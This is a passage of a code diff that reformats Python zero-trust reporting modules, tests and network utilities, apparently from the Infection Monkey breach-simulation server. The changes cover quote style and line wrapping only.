event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, + ) events = [process_list_event] av_processes = filter_av_processes(process_list_json["process_list"]) for process in av_processes: - events.append(Event.create_event( - title="Found AV process", - message="The process '{}' was recognized as an Anti Virus process. Process " - "details: {}".format(process[1]['name'], json.dumps(process[1])), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL - )) + events.append( + Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process[1]["name"], json.dumps(process[1])), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, + ) + ) if len(av_processes) > 0: test_status = zero_trust_consts.STATUS_PASSED else: test_status = zero_trust_consts.STATUS_FAILED - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - status=test_status, events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + ) def filter_av_processes(process_list): all_processes = list(process_list.items()) av_processes = [] for process in all_processes: - process_name = process[1]['name'] + process_name = process[1]["name"] # This is for case-insensitive `in`. Generator expression is to save memory. - if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES): + if process_name.upper() in ( + known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES + ): av_processes.append(process) return av_processes diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index 2ef91478634..74007b5fde5 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -1,34 +1,43 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" -COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ - "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" +COMM_AS_NEW_USER_SUCCEEDED_FORMAT = "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" def check_new_user_communication(current_monkey, success, message): status = zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, - status=status, - events=[ - get_attempt_event(current_monkey), - get_result_event(current_monkey, message, success) - ]) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + status=status, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success), + ], + ) def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( title="Communicate as new user", - message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + message="Monkey on {} tried to create a new user and communicate from it.".format( + current_monkey.hostname + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) return tried_to_communicate_event def get_result_event(current_monkey, message, success): - message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT + message_format = ( + COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT + ) return Event.create_event( title="Communicate as new user", message=message_format.format(current_monkey.hostname, message), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index 2ecd42b5292..e4accdff7e9 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -4,15 +4,17 @@ from common.common_consts.network_consts import ES_SERVICE from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) -HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] -POSTGRESQL_SERVER_SERVICE_NAME = 'PostgreSQL' +HTTP_SERVERS_SERVICES_NAMES = ["tcp-80"] +POSTGRESQL_SERVER_SERVICE_NAME = "PostgreSQL" def check_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) found_http_server_status = zero_trust_consts.STATUS_PASSED found_elastic_search_server = zero_trust_consts.STATUS_PASSED found_postgresql_server = zero_trust_consts.STATUS_PASSED @@ -21,60 +23,77 @@ def check_open_data_endpoints(telemetry_json): Event.create_event( title="Scan Telemetry", message="Monkey on {} tried to perform a network scan, the target was {}.".format( - current_monkey.hostname, - telemetry_json["data"]["machine"]["ip_addr"]), + current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"] + ), event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=telemetry_json["timestamp"] + timestamp=telemetry_json["timestamp"], ) ] for service_name, service_data in list(services.items()): - events.append(Event.create_event( - title="Scan telemetry analysis", - message="Scanned service: {}.".format(service_name), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK - )) + events.append( + Event.create_event( + title="Scan telemetry analysis", + message="Scanned service: {}.".format(service_name), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ) if service_name in HTTP_SERVERS_SERVICES_NAMES: found_http_server_status = zero_trust_consts.STATUS_FAILED - events.append(Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data) - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK - )) + events.append( + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ) if service_name == ES_SERVICE: found_elastic_search_server = zero_trust_consts.STATUS_FAILED - events.append(Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data) - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK - )) + events.append( + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ) if service_name == POSTGRESQL_SERVER_SERVICE_NAME: found_postgresql_server = zero_trust_consts.STATUS_FAILED - events.append(Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data) - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK - )) + events.append( + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ) - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - status=found_http_server_status, events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, + events=events, + ) - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, - status=found_elastic_search_server, events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, + events=events, + ) - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL, - status=found_postgresql_server, events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL, + status=found_postgresql_server, + events=events, + ) MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py index 2913484679d..2a5c456132f 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py @@ -83,5 +83,5 @@ "gc-fastpath.exe", "gc-enforcement-channel.exe", "gc-enforcement-agent.exe", - "gc-agent-ui.exe" + "gc-agent-ui.exe", ] diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py index d6813259c08..9bf0f5de60d 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py @@ -1,6 +1,8 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) def check_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): @@ -8,11 +10,10 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, targe Event.create_event( title="Exploit attempt", message="Monkey on {} attempted to exploit {} using {}.".format( - current_monkey.hostname, - target_ip, - exploiter), + current_monkey.hostname, target_ip, exploiter + ), event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=timestamp + timestamp=timestamp, ) ] status = zero_trust_consts.STATUS_PASSED @@ -21,15 +22,16 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, targe Event.create_event( title="Exploit success!", message="Monkey on {} successfully exploited {} using {}.".format( - current_monkey.hostname, - target_ip, - exploiter), + current_monkey.hostname, target_ip, exploiter + ), event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=timestamp) + timestamp=timestamp, + ) ) status = zero_trust_consts.STATUS_FAILED - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, - events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events + ) MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index d5a56b36d2e..acc3e6bfaf0 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -5,15 +5,22 @@ from common.network.segmentation_utils import get_ip_if_in_subnet, get_ip_in_src_and_not_in_dst from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService - -SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ - "from `{src_seg}` segments to `{dst_seg}` segments." - -SEGMENTATION_VIOLATION_EVENT_TEXT = \ - "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ +from monkey_island.cc.services.configuration.utils import ( + get_config_network_segments_as_subnet_groups, +) +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) + +SEGMENTATION_DONE_EVENT_TEXT = ( + "Monkey on {hostname} is done attempting cross-segment communications " + "from `{src_seg}` segments to `{dst_seg}` segments." +) + +SEGMENTATION_VIOLATION_EVENT_TEXT = ( + "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " "managed to communicate cross segment to {target_ip} (in segment {target_seg})." +) def check_segmentation_violation(current_monkey, target_ip): @@ -25,15 +32,19 @@ def check_segmentation_violation(current_monkey, target_ip): source_subnet = subnet_pair[0] target_subnet = subnet_pair[1] if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): - event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) + event = get_segmentation_violation_event( + current_monkey, source_subnet, target_ip, target_subnet + ) MonkeyZTFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, - events=[event] + events=[event], ) -def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str) -> bool: +def is_segmentation_violation( + current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str +) -> bool: """ Checks is a specific communication is a segmentation violation. :param current_monkey: The source monkey which originated the communication. @@ -49,9 +60,8 @@ def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_sub if target_subnet_range.is_in_range(str(target_ip)): cross_segment_ip = get_ip_in_src_and_not_in_dst( - current_monkey.ip_addresses, - source_subnet_range, - target_subnet_range) + current_monkey.ip_addresses, source_subnet_range, target_subnet_range + ) return cross_segment_ip is not None @@ -61,17 +71,21 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t title="Segmentation event", message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( hostname=current_monkey.hostname, - source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)), + source_ip=get_ip_if_in_subnet( + current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet) + ), source_seg=source_subnet, target_ip=target_ip, - target_seg=target_subnet + target_seg=target_subnet, ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) def check_passed_findings_for_unreached_segments(current_monkey): - flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] + flat_all_subnets = [ + item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist + ] create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) @@ -79,7 +93,10 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): # Filter the subnets that this monkey is part of. this_monkey_subnets = [] for subnet in all_subnets: - if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None: + if ( + get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) + is not None + ): this_monkey_subnets.append(subnet) # Get all the other subnets. @@ -93,7 +110,7 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): MonkeyZTFindingService.create_or_add_to_existing( status=zero_trust_consts.STATUS_PASSED, events=[get_segmentation_done_event(current_monkey, subnet_pair)], - test=zero_trust_consts.TEST_SEGMENTATION + test=zero_trust_consts.TEST_SEGMENTATION, ) @@ -101,8 +118,7 @@ def get_segmentation_done_event(current_monkey, subnet_pair): return Event.create_event( title="Segmentation test done", message=SEGMENTATION_DONE_EVENT_TEXT.format( - hostname=current_monkey.hostname, - src_seg=subnet_pair[0], - dst_seg=subnet_pair[1]), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1] + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py index ca58549d1bd..aa67a51750c 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py @@ -4,8 +4,12 @@ from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import create_or_add_findings_for_all_pairs -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import ( + create_or_add_findings_for_all_pairs, +) +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) FIRST_SUBNET = "1.1.1.1" SECOND_SUBNET = "2.2.2.0/24" @@ -13,13 +17,10 @@ class TestSegmentationChecks: - def test_create_findings_for_all_done_pairs(self): all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] - monkey = Monkey( - guid=str(uuid.uuid4()), - ip_addresses=[FIRST_SUBNET]) + monkey = Monkey(guid=str(uuid.uuid4()), ip_addresses=[FIRST_SUBNET]) # no findings assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 @@ -28,8 +29,9 @@ def test_create_findings_for_all_done_pairs(self): create_or_add_findings_for_all_pairs(all_subnets, monkey) # There are 2 subnets in which the monkey is NOT - zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_PASSED) + zt_seg_findings = Finding.objects( + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED + ) # Assert that there's only one finding with multiple events (one for each subnet) assert len(zt_seg_findings) == 1 @@ -39,17 +41,23 @@ def test_create_findings_for_all_done_pairs(self): MonkeyZTFindingService.create_or_add_to_existing( status=zero_trust_consts.STATUS_FAILED, test=zero_trust_consts.TEST_SEGMENTATION, - events=[Event.create_event(title="sdf", - message="asd", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] + events=[ + Event.create_event( + title="sdf", + message="asd", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ], ) - zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_PASSED) + zt_seg_findings = Finding.objects( + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED + ) assert len(zt_seg_findings) == 1 - zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED) + zt_seg_findings = Finding.objects( + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED + ) assert len(zt_seg_findings) == 1 zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py index 4b755be9879..092fd67e261 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py @@ -2,23 +2,31 @@ from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) def check_tunneling_violation(tunnel_telemetry_json): - if tunnel_telemetry_json['data']['proxy'] is not None: + if tunnel_telemetry_json["data"]["proxy"] is not None: # Monkey is tunneling, create findings tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json) - current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid']) - tunneling_events = [Event.create_event( - title="Tunneling event", - message="Monkey on {hostname} tunneled traffic through {proxy}.".format( - hostname=current_monkey.hostname, proxy=tunnel_host_ip), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=tunnel_telemetry_json['timestamp'] - )] + current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json["monkey_guid"]) + tunneling_events = [ + Event.create_event( + title="Tunneling event", + message="Monkey on {hostname} tunneled traffic through {proxy}.".format( + hostname=current_monkey.hostname, proxy=tunnel_host_ip + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=tunnel_telemetry_json["timestamp"], + ) + ] - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_TUNNELING, - status=zero_trust_consts.STATUS_FAILED, events=tunneling_events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, + events=tunneling_events, + ) MonkeyZTFindingService.add_malicious_activity_to_timeline(tunneling_events) diff --git a/monkey/monkey_island/cc/services/tests/reporting/test_report.py b/monkey/monkey_island/cc/services/tests/reporting/test_report.py index cc0ea321e6b..6cdc9befd24 100644 --- a/monkey/monkey_island/cc/services/tests/reporting/test_report.py +++ b/monkey/monkey_island/cc/services/tests/reporting/test_report.py @@ -39,8 +39,8 @@ "ntlm_hash": NT_HASH, } } - } - } + }, + }, } @@ -56,7 +56,7 @@ "ntlm_hash": NT_HASH, } } - } + }, } NO_CREDS_TELEMETRY_TELEM = { @@ -68,8 +68,8 @@ "ip_addr": VICTIM_IP, "domain_name": VICTIM_DOMAIN_NAME, }, - "info": {"credentials": {}} - } + "info": {"credentials": {}}, + }, } MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} diff --git a/monkey/monkey_island/cc/services/tests/test_config.py b/monkey/monkey_island/cc/services/tests/test_config.py index efc04ed89bd..c43a13be960 100644 --- a/monkey/monkey_island/cc/services/tests/test_config.py +++ b/monkey/monkey_island/cc/services/tests/test_config.py @@ -12,8 +12,7 @@ @pytest.fixture def config(monkeypatch): - monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", - lambda: IPS) + monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", lambda: IPS) monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT) config = ConfigService.get_default_config(True) return config @@ -22,12 +21,10 @@ def config(monkeypatch): def test_set_server_ips_in_config_command_servers(config): ConfigService.set_server_ips_in_config(config) expected_config_command_servers = [f"{ip}:{PORT}" for ip in IPS] - assert config["internal"]["island_server"]["command_servers"] ==\ - expected_config_command_servers + assert config["internal"]["island_server"]["command_servers"] == expected_config_command_servers def test_set_server_ips_in_config_current_server(config): ConfigService.set_server_ips_in_config(config) expected_config_current_server = f"{IPS[0]}:{PORT}" - assert config["internal"]["island_server"]["current_server"] ==\ - expected_config_current_server + assert config["internal"]["island_server"]["current_server"] == expected_config_current_server diff --git a/monkey/monkey_island/cc/services/utils/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py index cd4f6c4a128..ba3c7693949 100644 --- a/monkey/monkey_island/cc/services/utils/network_utils.py +++ b/monkey/monkey_island/cc/services/utils/network_utils.py @@ -9,13 +9,16 @@ from netifaces import AF_INET, ifaddresses, interfaces from ring import lru -__author__ = 'Barak' +__author__ = "Barak" # Local ips function if sys.platform == "win32": + def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] + + else: import fcntl @@ -28,12 +31,15 @@ def local_ips(): max_possible = 8 # initial value while True: struct_bytes = max_possible * struct_size - names = array.array('B', '\0' * struct_bytes) - outbytes = struct.unpack('iL', fcntl.ioctl( - s.fileno(), - 0x8912, # SIOCGIFCONF - struct.pack('iL', struct_bytes, names.buffer_info()[0]) - ))[0] + names = array.array("B", "\0" * struct_bytes) + outbytes = struct.unpack( + "iL", + fcntl.ioctl( + s.fileno(), + 0x8912, # SIOCGIFCONF + struct.pack("iL", struct_bytes, names.buffer_info()[0]), + ), + )[0] if outbytes == struct_bytes: max_possible *= 2 else: @@ -41,8 +47,8 @@ def local_ips(): namestr = names.tostring() for i in range(0, outbytes, struct_size): - addr = socket.inet_ntoa(namestr[i + 20:i + 24]) - if not addr.startswith('127'): + addr = socket.inet_ntoa(namestr[i + 20 : i + 24]) + if not addr.startswith("127"): result.append(addr) # name of interface is (namestr[i:i+16].split('\0', 1)[0] finally: @@ -50,7 +56,7 @@ def local_ips(): def is_local_ips(ips: List) -> bool: - filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith('169.254')] + filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith("169.254")] return collections.Counter(ips) == collections.Counter(filtered_local_ips) @@ -63,7 +69,7 @@ def local_ip_addresses(): ip_list = [] for interface in interfaces(): addresses = ifaddresses(interface).get(AF_INET, []) - ip_list.extend([link['addr'] for link in addresses if link['addr'] != '127.0.0.1']) + ip_list.extend([link["addr"] for link in addresses if link["addr"] != "127.0.0.1"]) return ip_list @@ -78,10 +84,9 @@ def get_subnets(): addresses = ifaddresses(interface).get(AF_INET, []) subnets.extend( [ - ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network - for link - in addresses - if link['addr'] != '127.0.0.1' + ipaddress.ip_interface(link["addr"] + "/" + link["netmask"]).network + for link in addresses + if link["addr"] != "127.0.0.1" ] ) return subnets diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index 3b7e48c6529..bf5f2211a2f 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -6,40 +6,46 @@ class NodeStates(Enum): - CLEAN_UNKNOWN = 'clean_unknown' - CLEAN_LINUX = 'clean_linux' - CLEAN_WINDOWS = 'clean_windows' - EXPLOITED_LINUX = 'exploited_linux' - EXPLOITED_WINDOWS = 'exploited_windows' - ISLAND = 'island' - ISLAND_MONKEY_LINUX = 'island_monkey_linux' - ISLAND_MONKEY_LINUX_RUNNING = 'island_monkey_linux_running' - ISLAND_MONKEY_LINUX_STARTING = 'island_monkey_linux_starting' - ISLAND_MONKEY_WINDOWS = 'island_monkey_windows' - ISLAND_MONKEY_WINDOWS_RUNNING = 'island_monkey_windows_running' - ISLAND_MONKEY_WINDOWS_STARTING = 'island_monkey_windows_starting' - MANUAL_LINUX = 'manual_linux' - MANUAL_LINUX_RUNNING = 'manual_linux_running' - MANUAL_WINDOWS = 'manual_windows' - MANUAL_WINDOWS_RUNNING = 'manual_windows_running' - MONKEY_LINUX = 'monkey_linux' - MONKEY_LINUX_RUNNING = 'monkey_linux_running' - MONKEY_WINDOWS = 'monkey_windows' - MONKEY_WINDOWS_RUNNING = 'monkey_windows_running' - MONKEY_WINDOWS_STARTING = 'monkey_windows_starting' - MONKEY_LINUX_STARTING = 'monkey_linux_starting' - MONKEY_WINDOWS_OLD = 'monkey_windows_old' - MONKEY_LINUX_OLD = 'monkey_linux_old' + CLEAN_UNKNOWN = "clean_unknown" + CLEAN_LINUX = "clean_linux" + CLEAN_WINDOWS = "clean_windows" + EXPLOITED_LINUX = "exploited_linux" + EXPLOITED_WINDOWS = "exploited_windows" + ISLAND = "island" + ISLAND_MONKEY_LINUX = "island_monkey_linux" + ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running" + ISLAND_MONKEY_LINUX_STARTING = "island_monkey_linux_starting" + ISLAND_MONKEY_WINDOWS = "island_monkey_windows" + ISLAND_MONKEY_WINDOWS_RUNNING = "island_monkey_windows_running" + ISLAND_MONKEY_WINDOWS_STARTING = "island_monkey_windows_starting" + MANUAL_LINUX = "manual_linux" + MANUAL_LINUX_RUNNING = "manual_linux_running" + MANUAL_WINDOWS = "manual_windows" + MANUAL_WINDOWS_RUNNING = "manual_windows_running" + MONKEY_LINUX = "monkey_linux" + MONKEY_LINUX_RUNNING = "monkey_linux_running" + MONKEY_WINDOWS = "monkey_windows" + MONKEY_WINDOWS_RUNNING = "monkey_windows_running" + MONKEY_WINDOWS_STARTING = "monkey_windows_starting" + MONKEY_LINUX_STARTING = "monkey_linux_starting" + MONKEY_WINDOWS_OLD = "monkey_windows_old" + MONKEY_LINUX_OLD = "monkey_linux_old" @staticmethod def get_by_keywords(keywords: List) -> NodeStates: - potential_groups = [i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords)] + potential_groups = [ + i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords) + ] if len(potential_groups) > 1: - raise MultipleGroupsFoundException("Multiple groups contain provided keywords. " - "Manually build group string to ensure keyword order.") + raise MultipleGroupsFoundException( + "Multiple groups contain provided keywords. " + "Manually build group 